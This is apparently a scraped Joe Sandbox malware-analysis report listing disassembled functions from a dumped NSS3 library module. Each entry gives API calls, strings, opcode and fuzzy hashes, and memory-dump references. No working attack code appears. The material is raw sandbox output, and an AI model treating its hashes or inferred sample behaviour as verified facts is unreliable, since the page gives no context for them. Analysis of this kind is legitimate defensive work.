Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Mark_$ErrorValuememset
String ID:
API String ID: 1233137751-0
Opcode ID: 96e7da3cfbce28fbd872f60e87cf7f4081ab368dec6cc91e6c81b64924434b79
Instruction ID: e3d5e72922aba6f2b88bec00da1ea10458f1a69badf567fb046fedf204f2b9d2
Opcode Fuzzy Hash: 96e7da3cfbce28fbd872f60e87cf7f4081ab368dec6cc91e6c81b64924434b79
Instruction Fuzzy Hash: B63127B290A3D69BEB108F549C40B5A77A8EF59788F264139ED1897742EB30E904C7D3

Function 6CBE4DF0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6CBE536F,00000022,?,?,00000000,?), ref: 6CBE4E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6CBE4F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6CBE4F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6CBE4FAE
free.MOZGLUE(?), ref: 6CBE4FC8

Strings

%s=%s, xrefs: 6CBE4F89
%s=%c%s%c, xrefs: 6CBE4FA9

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s
API String ID: 2709355791-2032576422
Opcode ID: 558b680ee431a3a84e11ac958c3432441731f389850930bc055af92571005201
Instruction ID: 70bae795ade2fc198bbb7f1f38a2e1ab85ba11f42015d468b40d1eecd83407be
Opcode Fuzzy Hash: 558b680ee431a3a84e11ac958c3432441731f389850930bc055af92571005201
Instruction Fuzzy Hash: A5512731A051C68BEF05CAEAC4907FF7BF5DF4EB88F188165E894A7A40D32598058FD2

Function 6CB27D70 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 179COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB27E27
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB27E67
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001065F,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000003,?,?), ref: 6CB27EED
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001066C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB27F2E

Strings

database corruption, xrefs: 6CB27EE2, 6CB27F23
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB27ED8, 6CB27F08, 6CB27F19
%s at line %d of [%.10s], xrefs: 6CB27EE7, 6CB27F28

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 88c57fd02094cf36a0c4e898571899b01917c47bdcc251f9afc8bdd4304f222e
Instruction ID: 407a1815d12d75f6de297cdd5f2a2121442ec2034845f2b519d7badc48bb7b9d
Opcode Fuzzy Hash: 88c57fd02094cf36a0c4e898571899b01917c47bdcc251f9afc8bdd4304f222e
Instruction Fuzzy Hash: B561DF74A042859FCB05DF64C890BAA37B6FF45308F1448A8EC0C6BB51D7B8EC56CBA5

Function 6CB0FCF0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 155COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124AC,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB0FD7A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB0FD94
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124BF,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB0FE3C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB0FE83

Part of subcall function 6CB0FEC0: memcmp.VCRUNTIME140(?,?,?,?,00000000,?), ref: 6CB0FEFA
Part of subcall function 6CB0FEC0: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000,?), ref: 6CB0FF3B

Strings

database corruption, xrefs: 6CB0FD6E, 6CB0FE30
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB0FD64, 6CB0FE26
%s at line %d of [%.10s], xrefs: 6CB0FD73, 6CB0FE35

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$memcmpmemcpy
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1169254434-598938438
Opcode ID: 3c04415a4b0782b488c79134b6c4ef9deb83e0d239afa5df0c2acaa597fe53f6
Instruction ID: 71267d176748f5f58bd3efbcbc16e3fe6b0ce6e38ace3758bc86701160c6c7df
Opcode Fuzzy Hash: 3c04415a4b0782b488c79134b6c4ef9deb83e0d239afa5df0c2acaa597fe53f6
Instruction Fuzzy Hash: A9516F75B00255DFDB04CFA9C890AAEBBB1FF48308F144169EA05AB752E731EC51CBA5

Function 6CC52F70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 123stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC52FFD
sqlite3_initialize.NSS3 ref: 6CC53007
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CC53032
sqlite3_mprintf.NSS3(6CCBAAF9,?), ref: 6CC53073
sqlite3_free.NSS3(?), ref: 6CC530B3
sqlite3_mprintf.NSS3(sqlite3_get_table() called with two or more incompatible queries), ref: 6CC530C0

Strings

sqlite3_get_table() called with two or more incompatible queries, xrefs: 6CC530BB

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: sqlite3_mprintf$memcpysqlite3_freesqlite3_initializestrlen
String ID: sqlite3_get_table() called with two or more incompatible queries
API String ID: 750880481-4279182443
Opcode ID: d1d1e8afd9d3691aee06aaeebbf161763dfc774d7a2a1b101029256b03d3d712
Instruction ID: 5f03644b69b03d5c4320614e60288b0d0c014cadf7ce74723a63e3393ef8074c
Opcode Fuzzy Hash: d1d1e8afd9d3691aee06aaeebbf161763dfc774d7a2a1b101029256b03d3d712
Instruction Fuzzy Hash: 5D418071600706ABDB00CF25D880A8AB7E5FF94358F588629EC5987B40F731F976CB91

Function 6CB98CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6CBA124D,00000001), ref: 6CB98D19
EnterCriticalSection.KERNEL32(?,?,?,?,6CBA124D,00000001), ref: 6CB98D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6CBA124D,00000001), ref: 6CB98D73
PR_Unlock.NSS3(?,?,?,?,?,6CBA124D,00000001), ref: 6CB98D8C

Part of subcall function 6CC2DD70: TlsGetValue.KERNEL32 ref: 6CC2DD8C
Part of subcall function 6CC2DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CC2DDB4

PR_Unlock.NSS3(?,?,?,?,?,6CBA124D,00000001), ref: 6CB98DBA

Strings

KRAM, xrefs: 6CB98D3E
KRAM, xrefs: 6CB98CF9

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: f1c604d408b074d30bd5d0e24bcd7338428eb665ef5d160d267609880642f4cb
Instruction ID: 50d6583703a567088095afdc0e7ce77e3e0e5518d3e413850597a22f09b1e3fd
Opcode Fuzzy Hash: f1c604d408b074d30bd5d0e24bcd7338428eb665ef5d160d267609880642f4cb
Instruction Fuzzy Hash: B8218DB1A046518FDB00EF38C48455AB7F0FF56308F15897ED89887721EB36E841CB92

Function 6CBBACC0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageDecryptFinal), ref: 6CBBACE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CBBAD14
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CBBAD23

Part of subcall function 6CC9D930: PL_strncpyz.NSS3(?,?,?), ref: 6CC9D963

PR_LogPrint.NSS3(?,00000000), ref: 6CBBAD39

Strings

(CK_INVALID_HANDLE), xrefs: 6CBBAD1C
C_MessageDecryptFinal, xrefs: 6CBBACE1
hSession = 0x%x, xrefs: 6CBBACFE, 6CBBAD0E

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageDecryptFinal
API String ID: 332880674-3521875567
Opcode ID: 13838a14c40d7bccf118d5686126fb98d825e5acee3726a5b7d21314b9d6d970
Instruction ID: 70447f4ebe0a47c4664f936129695eb166481d73f8e66bec8a4acd3e889fd335
Opcode Fuzzy Hash: 13838a14c40d7bccf118d5686126fb98d825e5acee3726a5b7d21314b9d6d970
Instruction Fuzzy Hash: 02210730A001A99FDB40DB64DD98BBE33B5EB4B70AF044425E809E7A11EF349D49CF92

Function 6CC90ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6CC90EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6CC90EFA

Part of subcall function 6CB7AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6CB7AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC90F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC90F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC90F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC90F2B

Strings

Aborting, xrefs: 6CC90EB3
Assertion failure: %s, at %s:%d, xrefs: 6CC90ED9, 6CC90EE5, 6CC90F06, 6CC90F0B

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: 0342315106f231e9045af9100502df8bd51772594a5b6c3b2b067709935de26b
Instruction ID: 9fe29833d17454e5ee7b69974880b0107cd112f0410db468e414a865ac5180fd
Opcode Fuzzy Hash: 0342315106f231e9045af9100502df8bd51772594a5b6c3b2b067709935de26b
Instruction Fuzzy Hash: 410180B6A00114BBDF01AFA4DC8989B3F3DEF4A764F104064FD0A87711E631EA50DBA2

Function 6CC54D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CC54DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CC54DE0

Strings

invalid, xrefs: 6CC54DB8
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CC54DCB
misuse, xrefs: 6CC54DD5
API call with %s database connection pointer, xrefs: 6CC54DBD
%s at line %d of [%.10s], xrefs: 6CC54DDA

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 654da5a210515f423ad0ee9079311d26927ef84cc7512777bacce6d074d7ce3a
Instruction ID: 3253eed937966c2b59b37d8a968b1c277bd491a1874a27c68aa915aa4e8ce73b
Opcode Fuzzy Hash: 654da5a210515f423ad0ee9079311d26927ef84cc7512777bacce6d074d7ce3a
Instruction Fuzzy Hash: FBF0E935E146642BD7018197CC10F9637559F01719F8609E0FD087BE52F616A87083C9

Function 6CC54DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CC54E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CC54E4D

Strings

invalid, xrefs: 6CC54E25
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CC54E38
misuse, xrefs: 6CC54E42
API call with %s database connection pointer, xrefs: 6CC54E2A
%s at line %d of [%.10s], xrefs: 6CC54E47

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: b875ec05cb8135241f30ddeb2c5d814e93a6b6a4415270d809e82697fc81ee50
Instruction ID: 75138e127a68d7860e1a9019c668d8c969da36b825b6b8d90fc54b66ee365746
Opcode Fuzzy Hash: b875ec05cb8135241f30ddeb2c5d814e93a6b6a4415270d809e82697fc81ee50
Instruction Fuzzy Hash: E6F02721F44968AFEA1180A69C14F86B7858B01329F8964A1FA0877F92F796987042D9

Function 6CB89FB0 Relevance: 12.2, APIs: 8, Instructions: 198COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CB8A086
EnterCriticalSection.KERNEL32(?), ref: 6CB8A09B
PR_Unlock.NSS3(?), ref: 6CB8A0B7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CB8A0E9
TlsGetValue.KERNEL32 ref: 6CB8A11B
EnterCriticalSection.KERNEL32(?), ref: 6CB8A12F
PR_Unlock.NSS3(?), ref: 6CB8A148

Part of subcall function 6CBA1A40: PR_Now.NSS3(?,00000000,6CB828AD,00000000,?,6CB9F09A,00000000,6CB828AD,6CB893B0,?,6CB893B0,6CB828AD,00000000,?,00000000), ref: 6CBA1A65

Part of subcall function 6CBA1940: CERT_DestroyCertificate.NSS3(00000000,00000000,?,6CBA4126,?), ref: 6CBA1966

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CB8A1A3

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Arena_CriticalEnterFreeSectionUnlockUtilValue$CertificateDestroy
String ID:
API String ID: 3953697463-0
Opcode ID: 9b075c4b23e56c4408f146b82a7cdf818c20873007792e8f81a6765ca8b32d2b
Instruction ID: ec32e1ee5c6910fd2629c0bd166b9786d5ff5595588aa45aae1191a7885b597e
Opcode Fuzzy Hash: 9b075c4b23e56c4408f146b82a7cdf818c20873007792e8f81a6765ca8b32d2b
Instruction Fuzzy Hash: EA51F7B1A016809BEB109F79DC44AAF77BCEF87308B154129EC29D7781EF31E945CA91

Function 6CBC0C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6CBC1444,?,00000001,?,00000000,00000000,?,?,6CBC1444,?,?,00000000,?,?), ref: 6CBC0CB3

Part of subcall function 6CC2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC2C2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6CBC1444,?,00000001,?,00000000,00000000,?,?,6CBC1444,?), ref: 6CBC0DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6CBC1444,?,00000001,?,00000000,00000000,?,?,6CBC1444,?), ref: 6CBC0DEC

Part of subcall function 6CBE0F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CB82AF5,?,?,?,?,?,6CB80A1B,00000000), ref: 6CBE0F1A
Part of subcall function 6CBE0F10: malloc.MOZGLUE(00000001), ref: 6CBE0F30
Part of subcall function 6CBE0F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CBE0F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6CBC1444,?,00000001,?,00000000,00000000,?), ref: 6CBC0DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6CBC1444,?,00000001,?,00000000), ref: 6CBC0E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CBC1444,?,00000001,?,00000000,00000000,?), ref: 6CBC0E53
PR_GetCurrentThread.NSS3(?,?,?,?,6CBC1444,?,00000001,?,00000000,00000000,?,?,6CBC1444,?,?,00000000), ref: 6CBC0E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6CBC1444,?,00000001,?,00000000,00000000,?), ref: 6CBC0E79

Part of subcall function 6CBD1560: TlsGetValue.KERNEL32(00000000,?,6CBA0844,?), ref: 6CBD157A
Part of subcall function 6CBD1560: EnterCriticalSection.KERNEL32(?,?,?,6CBA0844,?), ref: 6CBD158F
Part of subcall function 6CBD1560: PR_Unlock.NSS3(?,?,?,?,6CBA0844,?), ref: 6CBD15B2

Part of subcall function 6CB9B1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6CBA1397,00000000,?,6CB9CF93,5B5F5EC0,00000000,?,6CBA1397,?), ref: 6CB9B1CB
Part of subcall function 6CB9B1A0: free.MOZGLUE(5B5F5EC0,?,6CB9CF93,5B5F5EC0,00000000,?,6CBA1397,?), ref: 6CB9B1D2

Part of subcall function 6CB989E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6CB988AE,-00000008), ref: 6CB98A04
Part of subcall function 6CB989E0: EnterCriticalSection.KERNEL32(?), ref: 6CB98A15
Part of subcall function 6CB989E0: memset.VCRUNTIME140(6CB988AE,00000000,00000132), ref: 6CB98A27
Part of subcall function 6CB989E0: PR_Unlock.NSS3(?), ref: 6CB98A35

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: 9b86db9cfa342e48d50d0280266f01cb62e6574c77e48ff1297b5b4f76570844
Instruction ID: 6e11a2983b8fe4721ad1ef8752500fad50e3f753efe74a05e89d4747b3bc0392
Opcode Fuzzy Hash: 9b86db9cfa342e48d50d0280266f01cb62e6574c77e48ff1297b5b4f76570844
Instruction Fuzzy Hash: B851A8F5E002916FEB009F64EC81AAF37A8EF45618F154464ED099B712FB31ED1987A3

Function 6CB76E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6CB76ED8
sqlite3_value_text.NSS3(?,?), ref: 6CB76EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6CB76FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6CB76FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6CB76FF0
sqlite3_value_blob.NSS3(?,?), ref: 6CB77010
sqlite3_value_blob.NSS3(?,?), ref: 6CB7701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6CB77052

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
